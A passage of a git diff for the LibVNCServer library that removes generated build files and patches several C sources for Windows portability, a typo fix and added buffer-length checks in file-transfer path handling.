index 9ce06a8..0000000
--- a/libvncserver/.deps/rfbssl_gnutls.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/rfbssl_none.Plo b/libvncserver/.deps/rfbssl_none.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/rfbssl_none.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/rfbssl_openssl.Plo b/libvncserver/.deps/rfbssl_openssl.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/rfbssl_openssl.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/rfbtightserver.Plo b/libvncserver/.deps/rfbtightserver.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/rfbtightserver.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/rre.Plo b/libvncserver/.deps/rre.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/rre.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/scale.Plo b/libvncserver/.deps/scale.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/scale.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/selbox.Plo b/libvncserver/.deps/selbox.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/selbox.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/sha1.Plo b/libvncserver/.deps/sha1.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/sha1.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/sockets.Plo b/libvncserver/.deps/sockets.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/sockets.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/stats.Plo b/libvncserver/.deps/stats.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/stats.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/tight.Plo b/libvncserver/.deps/tight.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/tight.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/translate.Plo b/libvncserver/.deps/translate.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/translate.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/turbojpeg.Plo b/libvncserver/.deps/turbojpeg.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/turbojpeg.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/ultra.Plo b/libvncserver/.deps/ultra.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/ultra.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/vncauth.Plo b/libvncserver/.deps/vncauth.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/vncauth.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/websockets.Plo b/libvncserver/.deps/websockets.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/websockets.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/zlib.Plo b/libvncserver/.deps/zlib.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/zlib.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/zrle.Plo b/libvncserver/.deps/zrle.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/zrle.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/zrleoutstream.Plo b/libvncserver/.deps/zrleoutstream.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/zrleoutstream.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/zrlepalettehelper.Plo b/libvncserver/.deps/zrlepalettehelper.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/zrlepalettehelper.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/.deps/zywrletemplate.Plo b/libvncserver/.deps/zywrletemplate.Plo
deleted file mode 100644
index 9ce06a8..0000000
--- a/libvncserver/.deps/zywrletemplate.Plo
+++ /dev/null
@@ -1 +0,0 @@
-# dummy
diff --git a/libvncserver/Makefile b/libvncserver/Makefile
deleted file mode 100644
index 45d859c..0000000
--- a/libvncserver/Makefile
+++ /dev/null
@@ -1,824 +0,0 @@
-# Makefile.in generated by automake 1.11.6 from Makefile.am.
-# libvncserver/Makefile. Generated from Makefile.in by configure.
-
-# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
-# 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011 Free Software
-# Foundation, Inc.
-# This Makefile.in is free software; the Free Software Foundation
-# gives unlimited permission to copy and/or distribute it,
-# with or without modifications, as long as this notice is preserved.
-
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
-# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
-# PARTICULAR PURPOSE.
-
-
-
-
-
-am__make_dryrun = \
- { \
- am__dry=no; \
- case $$MAKEFLAGS in \
- *\\[\ \ ]*) \
- echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \
- | grep '^AM OK$$' >/dev/null || am__dry=yes;; \
- *) \
- for am__flg in $$MAKEFLAGS; do \
- case $$am__flg in \
- *=*|--*) ;; \
- *n*) am__dry=yes; break;; \
- esac; \
- done;; \
- esac; \
- test $$am__dry = yes; \
- }
-pkgdatadir = $(datadir)/LibVNCServer
-pkgincludedir = $(includedir)/LibVNCServer
-pkglibdir = $(libdir)/LibVNCServer
-pkglibexecdir = $(libexecdir)/LibVNCServer
-am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
-install_sh_DATA = $(install_sh) -c -m 644
-install_sh_PROGRAM = $(install_sh) -c
-install_sh_SCRIPT = $(install_sh) -c
-INSTALL_HEADER = $(INSTALL_DATA)
-transform = $(program_transform_name)
-NORMAL_INSTALL = :
-PRE_INSTALL = :
-POST_INSTALL = :
-NORMAL_UNINSTALL = :
-PRE_UNINSTALL = :
-POST_UNINSTALL = :
-build_triplet = x86_64-unknown-linux-gnu
-host_triplet = x86_64-unknown-linux-gnu
-subdir = libvncserver
-DIST_COMMON = $(am__noinst_HEADERS_DIST) $(include_HEADERS) \
- $(srcdir)/Makefile.am $(srcdir)/Makefile.in
-ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
-am__aclocal_m4_deps = $(top_srcdir)/acinclude.m4 \
- $(top_srcdir)/configure.ac
-am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
- $(ACLOCAL_M4)
-mkinstalldirs = $(install_sh) -d
-CONFIG_HEADER = $(top_builddir)/rfbconfig.h
-CONFIG_CLEAN_FILES =
-CONFIG_CLEAN_VPATH_FILES =
-am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
-am__vpath_adj = case $$p in \
- $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
- *) f=$$p;; \
- esac;
-am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`;
-am__install_max = 40
-am__nobase_strip_setup = \
- srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'`
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diff --git a/libvncserver/Makefile.am b/libvncserver/Makefile.am
index deb0e09..cb38c64 100644
--- a/libvncserver/Makefile.am
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@@ -1,4 +1,4 @@
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if WITH_TIGHTVNC_FILETRANSFER
TIGHTVNCFILETRANSFERHDRS=tightvnc-filetransfer/filelistinfo.h \
diff --git a/libvncserver/Makefile.in b/libvncserver/Makefile.in
deleted file mode 100644
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-mostlyclean-generic:
-
-clean-generic:
-
-distclean-generic:
- -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
- -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES)
-
-maintainer-clean-generic:
- @echo "This command is intended for maintainers to use"
- @echo "it deletes files that may require special tools to rebuild."
-clean: clean-am
-
-clean-am: clean-generic clean-libLTLIBRARIES clean-libtool \
- mostlyclean-am
-
-distclean: distclean-am
- -rm -rf ./$(DEPDIR)
- -rm -f Makefile
-distclean-am: clean-am distclean-compile distclean-generic \
- distclean-tags
-
-dvi: dvi-am
-
-dvi-am:
-
-html: html-am
-
-html-am:
-
-info: info-am
-
-info-am:
-
-install-data-am: install-includeHEADERS
-
-install-dvi: install-dvi-am
-
-install-dvi-am:
-
-install-exec-am: install-libLTLIBRARIES
-
-install-html: install-html-am
-
-install-html-am:
-
-install-info: install-info-am
-
-install-info-am:
-
-install-man:
-
-install-pdf: install-pdf-am
-
-install-pdf-am:
-
-install-ps: install-ps-am
-
-install-ps-am:
-
-installcheck-am:
-
-maintainer-clean: maintainer-clean-am
- -rm -rf ./$(DEPDIR)
- -rm -f Makefile
-maintainer-clean-am: distclean-am maintainer-clean-generic
-
-mostlyclean: mostlyclean-am
-
-mostlyclean-am: mostlyclean-compile mostlyclean-generic \
- mostlyclean-libtool
-
-pdf: pdf-am
-
-pdf-am:
-
-ps: ps-am
-
-ps-am:
-
-uninstall-am: uninstall-includeHEADERS uninstall-libLTLIBRARIES
-
-.MAKE: install-am install-strip
-
-.PHONY: CTAGS GTAGS all all-am check check-am clean clean-generic \
- clean-libLTLIBRARIES clean-libtool ctags distclean \
- distclean-compile distclean-generic distclean-libtool \
- distclean-tags distdir dvi dvi-am html html-am info info-am \
- install install-am install-data install-data-am install-dvi \
- install-dvi-am install-exec install-exec-am install-html \
- install-html-am install-includeHEADERS install-info \
- install-info-am install-libLTLIBRARIES install-man install-pdf \
- install-pdf-am install-ps install-ps-am install-strip \
- installcheck installcheck-am installdirs maintainer-clean \
- maintainer-clean-generic mostlyclean mostlyclean-compile \
- mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \
- tags uninstall uninstall-am uninstall-includeHEADERS \
- uninstall-libLTLIBRARIES
-
-
-@HAVE_RPM_TRUE@$(PACKAGE)-$(VERSION).tar.gz: dist
-
-# Rule to build RPM distribution package
-@HAVE_RPM_TRUE@rpm: $(PACKAGE)-$(VERSION).tar.gz libvncserver.spec
-@HAVE_RPM_TRUE@ cp $(PACKAGE)-$(VERSION).tar.gz @RPMSOURCEDIR@
-@HAVE_RPM_TRUE@ rpmbuild -ba libvncserver.spec
-
-# Tell versions [3.59,3.63) of GNU make to not export all variables.
-# Otherwise a system limit (for SysV at least) may be exceeded.
-.NOEXPORT:
diff --git a/libvncserver/config.h b/libvncserver/config.h
deleted file mode 100644
index 36d9269..0000000
--- a/libvncserver/config.h
+++ /dev/null
@@ -1,240 +0,0 @@
-/* config.h. Generated by configure. */
-/* config.h.in. Generated from configure.ac by autoheader. */
-
-/* Enable 24 bit per pixel in native framebuffer */
-#define ALLOW24BPP 0
-
-/* Enable BackChannel communication */
-#define BACKCHANNEL 1
-
-/* Define to 1 if you have the <arpa/inet.h> header file. */
-#define HAVE_ARPA_INET_H 1
-
-/* Define to 1 if you don't have `vprintf' but do have `_doprnt.' */
-/* #undef HAVE_DOPRNT */
-
-/* Define to 1 if you have the <fcntl.h> header file. */
-#define HAVE_FCNTL_H 1
-
-/* Define to 1 if you have the `fork' function. */
-#define HAVE_FORK 1
-
-/* Define to 1 if you have the `ftime' function. */
-#define HAVE_FTIME 1
-
-/* Define to 1 if you have the `gethostbyname' function. */
-#define HAVE_GETHOSTBYNAME 1
-
-/* Define to 1 if you have the `gethostname' function. */
-#define HAVE_GETHOSTNAME 1
-
-/* Define to 1 if you have the `gettimeofday' function. */
-#define HAVE_GETTIMEOFDAY 1
-
-/* Define to 1 if you have the `inet_ntoa' function. */
-#define HAVE_INET_NTOA 1
-
-/* Define to 1 if you have the <inttypes.h> header file. */
-#define HAVE_INTTYPES_H 1
-
-/* Define to 1 if you have the `cygipc' library (-lcygipc). */
-/* #undef HAVE_LIBCYGIPC */
-
-/* Define to 1 if you have the `jpeg' library (-ljpeg). */
-#define HAVE_LIBJPEG 1
-
-/* Define to 1 if you have the `nsl' library (-lnsl). */
-#define HAVE_LIBNSL 1
-
-/* Define to 1 if you have the `pthread' library (-lpthread). */
-#define HAVE_LIBPTHREAD 1
-
-/* Define to 1 if you have the `socket' library (-lsocket). */
-/* #undef HAVE_LIBSOCKET */
-
-/* Define to 1 if you have the `z' library (-lz). */
-#define HAVE_LIBZ 1
-
-/* Define to 1 if your system has a GNU libc compatible `malloc' function, and
- to 0 otherwise. */
-#define HAVE_MALLOC 1
-
-/* Define to 1 if you have the `memmove' function. */
-#define HAVE_MEMMOVE 1
-
-/* Define to 1 if you have the <memory.h> header file. */
-#define HAVE_MEMORY_H 1
-
-/* Define to 1 if you have the `memset' function. */
-#define HAVE_MEMSET 1
-
-/* Define to 1 if you have the `mkfifo' function. */
-#define HAVE_MKFIFO 1
-
-/* Define to 1 if you have the <netdb.h> header file. */
-#define HAVE_NETDB_H 1
-
-/* Define to 1 if you have the <netinet/in.h> header file. */
-#define HAVE_NETINET_IN_H 1
-
-/* Define to 1 if you have the `select' function. */
-#define HAVE_SELECT 1
-
-/* Define to 1 if you have the `setsid' function. */
-#define HAVE_SETSID 1
-
-/* Define to 1 if you have the `socket' function. */
-#define HAVE_SOCKET 1
-
-/* Define to 1 if `stat' has the bug that it succeeds when given the
- zero-length file name argument. */
-/* #undef HAVE_STAT_EMPTY_STRING_BUG */
-
-/* Define to 1 if you have the <stdint.h> header file. */
-#define HAVE_STDINT_H 1
-
-/* Define to 1 if you have the <stdlib.h> header file. */
-#define HAVE_STDLIB_H 1
-
-/* Define to 1 if you have the `strchr' function. */
-#define HAVE_STRCHR 1
-
-/* Define to 1 if you have the `strcspn' function. */
-#define HAVE_STRCSPN 1
-
-/* Define to 1 if you have the `strdup' function. */
-#define HAVE_STRDUP 1
-
-/* Define to 1 if you have the `strerror' function. */
-#define HAVE_STRERROR 1
-
-/* Define to 1 if you have the `strftime' function. */
-#define HAVE_STRFTIME 1
-
-/* Define to 1 if you have the <strings.h> header file. */
-#define HAVE_STRINGS_H 1
-
-/* Define to 1 if you have the <string.h> header file. */
-#define HAVE_STRING_H 1
-
-/* Define to 1 if you have the `strstr' function. */
-#define HAVE_STRSTR 1
-
-/* Define to 1 if you have the <syslog.h> header file. */
-#define HAVE_SYSLOG_H 1
-
-/* Define to 1 if you have the <sys/socket.h> header file. */
-#define HAVE_SYS_SOCKET_H 1
-
-/* Define to 1 if you have the <sys/stat.h> header file. */
-#define HAVE_SYS_STAT_H 1
-
-/* Define to 1 if you have the <sys/timeb.h> header file. */
-#define HAVE_SYS_TIMEB_H 1
-
-/* Define to 1 if you have the <sys/time.h> header file. */
-#define HAVE_SYS_TIME_H 1
-
-/* Define to 1 if you have the <sys/types.h> header file. */
-#define HAVE_SYS_TYPES_H 1
-
-/* Define to 1 if you have <sys/wait.h> that is POSIX.1 compatible. */
-#define HAVE_SYS_WAIT_H 1
-
-/* Define to 1 if you have the <unistd.h> header file. */
-#define HAVE_UNISTD_H 1
-
-/* Define to 1 if you have the `vfork' function. */
-#define HAVE_VFORK 1
-
-/* Define to 1 if you have the <vfork.h> header file. */
-/* #undef HAVE_VFORK_H */
-
-/* Define to 1 if you have the `vprintf' function. */
-#define HAVE_VPRINTF 1
-
-/* Define to 1 if `fork' works. */
-#define HAVE_WORKING_FORK 1
-
-/* Define to 1 if `vfork' works. */
-#define HAVE_WORKING_VFORK 1
-
-/* XKEYBOARD extension build environment present */
-#define HAVE_XKEYBOARD 1
-
-/* Define to 1 if `lstat' dereferences a symlink specified with a trailing
- slash. */
-#define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-
-/* Name of package */
-#define PACKAGE "LibVNCServer"
-
-/* Define to the address where bug reports for this package should be sent. */
-#define PACKAGE_BUGREPORT "http://sourceforge.net/projects/libvncserver"
-
-/* Define to the full name of this package. */
-#define PACKAGE_NAME "LibVNCServer"
-
-/* Define to the full name and version of this package. */
-#define PACKAGE_STRING "LibVNCServer 0.7pre"
-
-/* Define to the one symbol short name of this package. */
-#define PACKAGE_TARNAME "libvncserver"
-
-/* Define to the version of this package. */
-#define PACKAGE_VERSION "0.7pre"
-
-/* The number of bytes in type char */
-/* #undef SIZEOF_CHAR */
-
-/* The number of bytes in type int */
-/* #undef SIZEOF_INT */
-
-/* The number of bytes in type long */
-/* #undef SIZEOF_LONG */
-
-/* The number of bytes in type short */
-/* #undef SIZEOF_SHORT */
-
-/* The number of bytes in type void* */
-/* #undef SIZEOF_VOIDP */
-
-/* Define to 1 if you have the ANSI C header files. */
-#define STDC_HEADERS 1
-
-/* Define to 1 if you can safely include both <sys/time.h> and <time.h>. */
-#define TIME_WITH_SYS_TIME 1
-
-/* Version number of package */
-#define VERSION "0.7pre"
-
-/* Define to 1 if your processor stores words with the most significant byte
- first (like Motorola and SPARC, unlike Intel and VAX). */
-/* #undef WORDS_BIGENDIAN */
-
-/* Define to 1 if the X Window System is missing or not being used. */
-/* #undef X_DISPLAY_MISSING */
-
-/* Define to empty if `const' does not conform to ANSI C. */
-/* #undef const */
-
-/* Define to `__inline__' or `__inline' if that's what the C compiler
- calls it, or to nothing if 'inline' is not supported under any name. */
-#ifndef __cplusplus
-/* #undef inline */
-#endif
-
-/* Define to rpl_malloc if the replacement function should be used. */
-/* #undef malloc */
-
-/* Define to `int' if <sys/types.h> does not define. */
-/* #undef pid_t */
-
-/* Define to `unsigned' if <sys/types.h> does not define. */
-/* #undef size_t */
-
-/* The type for socklen */
-/* #undef socklen_t */
-
-/* Define as `fork' if `vfork' does not work. */
-/* #undef vfork */
diff --git a/libvncserver/httpd.c b/libvncserver/httpd.c
index ed91e46..12d71a8 100644
--- a/libvncserver/httpd.c
+++ b/libvncserver/httpd.c
@@ -23,6 +23,11 @@
* USA.
*/
+#ifdef __STRICT_ANSI__
+#define _BSD_SOURCE
+#define _POSIX_SOURCE
+#endif
+
#include <rfb/rfb.h>
#include <ctype.h>
@@ -38,8 +43,15 @@
#include <errno.h>
#ifdef WIN32
-#include <winsock.h>
+#include <io.h>
+#include <winsock2.h>
+#include <ws2tcpip.h>
#define close closesocket
+#if defined(_MSC_VER)
+#include <BaseTsd.h> /* For the missing ssize_t */
+#define ssize_t SSIZE_T
+#define read _read /* Prevent POSIX deprecation warnings */
+#endif
#else
#ifdef LIBVNCSERVER_HAVE_SYS_TIME_H
#include <sys/time.h>
@@ -387,11 +399,13 @@
getpeername(rfbScreen->httpSock, (struct sockaddr *)&addr, &addrlen);
#ifdef LIBVNCSERVER_IPv6
- char host[1024];
- if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) {
- rfbLogPerror("httpProcessInput: error in getnameinfo");
+ {
+ char host[1024];
+ if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) {
+ rfbLogPerror("httpProcessInput: error in getnameinfo");
+ }
+ rfbLog("httpd: get '%s' for %s\n", fname+1, host);
}
- rfbLog("httpd: get '%s' for %s\n", fname+1, host);
#else
rfbLog("httpd: get '%s' for %s\n", fname+1,
inet_ntoa(addr.sin_addr));
diff --git a/libvncserver/main.c b/libvncserver/main.c
index 4cb18ac..9839c85 100644
--- a/libvncserver/main.c
+++ b/libvncserver/main.c
@@ -1051,7 +1051,7 @@
#endif
rfbInitSockets(screen);
rfbHttpInitSockets(screen);
-#ifndef __MINGW32__
+#ifndef WIN32
if(screen->ignoreSIGPIPE)
signal(SIGPIPE,SIG_IGN);
#endif
@@ -1061,10 +1061,13 @@
if(disconnectClients) {
rfbClientPtr cl;
rfbClientIteratorPtr iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) )
- if (cl->sock > -1)
- /* we don't care about maxfd here, because the server goes away */
- rfbCloseClient(cl);
+ while( (cl = rfbClientIteratorNext(iter)) ) {
+ if (cl->sock > -1) {
+ /* we don't care about maxfd here, because the server goes away */
+ rfbCloseClient(cl);
+ rfbClientConnectionGone(cl);
+ }
+ }
rfbReleaseClientIterator(iter);
}
diff --git a/libvncserver/rfbregion.c b/libvncserver/rfbregion.c
index 0ab8a12..1947d7c 100644
--- a/libvncserver/rfbregion.c
+++ b/libvncserver/rfbregion.c
@@ -751,7 +751,7 @@
i->ptrSize += DEFSTEP;
i->sPtrs = (sraSpan**)realloc(i->sPtrs, sizeof(sraSpan*)*i->ptrSize);
}
- i->ptrPos =+ 2;
+ i->ptrPos += 2;
if(sraReverse(i)) {
i->sPtrs[i->ptrPos] = i->sPtrs[i->ptrPos-2]->subspan->back._prev;
i->sPtrs[i->ptrPos+1] = &(i->sPtrs[i->ptrPos-2]->subspan->front);
diff --git a/libvncserver/rfbserver.c b/libvncserver/rfbserver.c
index 392d0cf..f1c7c94 100644
--- a/libvncserver/rfbserver.c
+++ b/libvncserver/rfbserver.c
@@ -28,7 +28,11 @@
#ifdef __STRICT_ANSI__
#define _BSD_SOURCE
+#define _POSIX_SOURCE
+#define _XOPEN_SOURCE 600
#endif
+
+#include <stdio.h>
#include <string.h>
#include <rfb/rfb.h>
#include <rfb/rfbregion.h>
@@ -39,6 +43,9 @@
#endif
#ifdef WIN32
+#include <winsock2.h>
+#include <ws2tcpip.h>
+#include <io.h>
#define write(sock,buf,len) send(sock,buf,len,0)
#else
#ifdef LIBVNCSERVER_HAVE_UNISTD_H
@@ -68,8 +75,12 @@
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
+
+#ifndef WIN32
/* readdir() */
#include <dirent.h>
+#endif
+
/* errno */
#include <errno.h>
/* strftime() */
@@ -79,12 +90,21 @@
#include "rfbssl.h"
#endif
+#ifdef _MSC_VER
+#define snprintf _snprintf /* Missing in MSVC */
+/* Prevent POSIX deprecation warnings */
+#define close _close
+#define strdup _strdup
+#endif
+
+#ifdef WIN32
#ifdef __MINGW32__
-static int compat_mkdir(const char *path, int mode)
-{
- return mkdir(path);
-}
-#define mkdir compat_mkdir
+#define mkdir(path, perms) mkdir(path) /* Omit the perms argument to match POSIX signature */
+#else /* MSVC and other windows compilers */
+#define mkdir(path, perms) _mkdir(path) /* Omit the perms argument to match POSIX signature */
+#endif /* __MINGW32__ else... */
+#define S_ISDIR(m) (((m) & S_IFDIR) == S_IFDIR)
+#include <direct.h>
#endif
#ifdef LIBVNCSERVER_HAVE_LIBJPEG
@@ -309,12 +329,14 @@
if(isUDP) {
rfbLog(" accepted UDP client\n");
- } else {
+ } else {
+#ifdef LIBVNCSERVER_IPv6
+ char host[1024];
+#endif
int one=1;
getpeername(sock, (struct sockaddr *)&addr, &addrlen);
#ifdef LIBVNCSERVER_IPv6
- char host[1024];
if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) {
rfbLogPerror("rfbNewClient: error in getnameinfo");
cl->host = strdup("");
@@ -929,7 +951,7 @@
rfbSetBit(msgs.client2server, rfbSetScale);
/*rfbSetBit(msgs.client2server, rfbSetServerInput); */
/*rfbSetBit(msgs.client2server, rfbSetSW); */
- rfbSetBit(msgs.client2server, rfbTextChat);
+ /*rfbSetBit(msgs.client2server, rfbTextChat); */
rfbSetBit(msgs.client2server, rfbPalmVNCSetScaleFactor);
rfbSetBit(msgs.client2server, rfbXvp);
@@ -1237,13 +1259,20 @@
#define RFB_FILE_ATTRIBUTE_TEMPORARY 0x100
#define RFB_FILE_ATTRIBUTE_COMPRESSED 0x800
-rfbBool rfbFilenameTranslate2UNIX(rfbClientPtr cl, char *path, char *unixPath)
+rfbBool rfbFilenameTranslate2UNIX(rfbClientPtr cl, /* in */ char *path, /* out */ char *unixPath, size_t unixPathMaxLen)
{
int x;
char *home=NULL;
FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE);
+ /*
+ * Do not use strncpy() - truncating the file name would probably have undesirable side effects
+ * Instead check if destination buffer is big enough
+ */
+ if (strlen(path) >= unixPathMaxLen)
+ return FALSE;
+
/* C: */
if (path[0]=='C' && path[1]==':')
strcpy(unixPath, &path[2]);
@@ -1252,6 +1281,10 @@
home = getenv("HOME");
if (home!=NULL)
{
+ /* Re-check buffer size */
+ if ((strlen(path) + strlen(home) + 1) >= unixPathMaxLen)
+ return FALSE;
+
strcpy(unixPath, home);
strcat(unixPath,"/");
strcat(unixPath, path);
@@ -1283,33 +1316,85 @@
struct stat statbuf;
RFB_FIND_DATA win32filename;
int nOptLen = 0, retval=0;
+#ifdef WIN32
+ WIN32_FIND_DATAA winFindData;
+ HANDLE findHandle;
+ int pathLen, basePathLength;
+ char *basePath;
+#else
DIR *dirp=NULL;
struct dirent *direntp=NULL;
+#endif
FILEXFER_ALLOWED_OR_CLOSE_AND_RETURN("", cl, FALSE);
/* Client thinks we are Winblows */
- rfbFilenameTranslate2UNIX(cl, buffer, path);
+ if (!rfbFilenameTranslate2UNIX(cl, buffer, path, sizeof(path)))
+ return FALSE;
if (DB) rfbLog("rfbProcessFileTransfer() rfbDirContentRequest: rfbRDirContent: \"%s\"->\"%s\"\n",buffer, path);
+#ifdef WIN32
+ // Create a search string, like C:\folder\*
+
+ pathLen = strlen(path);
+ basePath = malloc(pathLen + 3);
+ memcpy(basePath, path, pathLen);
+ basePathLength = pathLen;
+ basePath[basePathLength] = '\\';
+ basePath[basePathLength + 1] = '*';
+ basePath[basePathLength + 2] = '\0';
+
+ // Start a search
+ memset(&winFindData, 0, sizeof(winFindData));
+ findHandle = FindFirstFileA(path, &winFindData);
+ free(basePath);
+
+ if (findHandle == INVALID_HANDLE_VALUE)
+#else
dirp=opendir(path);
if (dirp==NULL)
+#endif
return rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, 0, NULL);
+
/* send back the path name (necessary for links) */
if (rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, length, buffer)==FALSE) return FALSE;
+
+#ifdef WIN32
+ while (findHandle != INVALID_HANDLE_VALUE)
+#else
for (direntp=readdir(dirp); direntp!=NULL; direntp=readdir(dirp))
+#endif
{
/* get stats */
- snprintf(retfilename,sizeof(retfilename),"%s/%s", path, direntp->d_name);
+#ifdef WIN32
+ snprintf(retfilename,sizeof(retfilename),"%s/%s", path, winFindData.cFileName);
+#else
+ snprintf(retfilename,sizeof(retfilename),"%s/%s", path, direntp->d_name);
+#endif
retval = stat(retfilename, &statbuf);
if (retval==0)
{
memset((char *)&win32filename, 0, sizeof(win32filename));
+#ifdef WIN32
+ win32filename.dwFileAttributes = winFindData.dwFileAttributes;
+ win32filename.ftCreationTime.dwLowDateTime = winFindData.ftCreationTime.dwLowDateTime;
+ win32filename.ftCreationTime.dwHighDateTime = winFindData.ftCreationTime.dwHighDateTime;
+ win32filename.ftLastAccessTime.dwLowDateTime = winFindData.ftLastAccessTime.dwLowDateTime;
+ win32filename.ftLastAccessTime.dwHighDateTime = winFindData.ftLastAccessTime.dwHighDateTime;
+ win32filename.ftLastWriteTime.dwLowDateTime = winFindData.ftLastWriteTime.dwLowDateTime;
+ win32filename.ftLastWriteTime.dwHighDateTime = winFindData.ftLastWriteTime.dwHighDateTime;
+ win32filename.nFileSizeLow = winFindData.nFileSizeLow;
+ win32filename.nFileSizeHigh = winFindData.nFileSizeHigh;
+ win32filename.dwReserved0 = winFindData.dwReserved0;
+ win32filename.dwReserved1 = winFindData.dwReserved1;
+ strcpy((char *)win32filename.cFileName, winFindData.cFileName);
+ strcpy((char *)win32filename.cAlternateFileName, winFindData.cAlternateFileName);
+#else
win32filename.dwFileAttributes = Swap32IfBE(RFB_FILE_ATTRIBUTE_NORMAL);
if (S_ISDIR(statbuf.st_mode))
- win32filename.dwFileAttributes = Swap32IfBE(RFB_FILE_ATTRIBUTE_DIRECTORY);
+ win32filename.dwFileAttributes = Swap32IfBE(RFB_FILE_ATTRIBUTE_DIRECTORY);
win32filename.ftCreationTime.dwLowDateTime = Swap32IfBE(statbuf.st_ctime); /* Intel Order */
win32filename.ftCreationTime.dwHighDateTime = 0;
win32filename.ftLastAccessTime.dwLowDateTime = Swap32IfBE(statbuf.st_atime); /* Intel Order */
@@ -1324,9 +1409,10 @@
/* If this had the full path, we would need to translate to DOS format ("C:\") */
/* rfbFilenameTranslate2DOS(cl, retfilename, win32filename.cFileName); */
strcpy((char *)win32filename.cFileName, direntp->d_name);
+#endif
/* Do not show hidden files (but show how to move up the tree) */
- if ((strcmp(direntp->d_name, "..")==0) || (direntp->d_name[0]!='.'))
+ if ((strcmp((char *)win32filename.cFileName, "..")==0) || (win32filename.cFileName[0]!='.'))
{
nOptLen = sizeof(RFB_FIND_DATA) - MAX_PATH - 14 + strlen((char *)win32filename.cFileName);
/*
@@ -1334,13 +1420,32 @@
*/
if (rfbSendFileTransferMessage(cl, rfbDirPacket, rfbADirectory, 0, nOptLen, (char *)&win32filename)==FALSE)
{
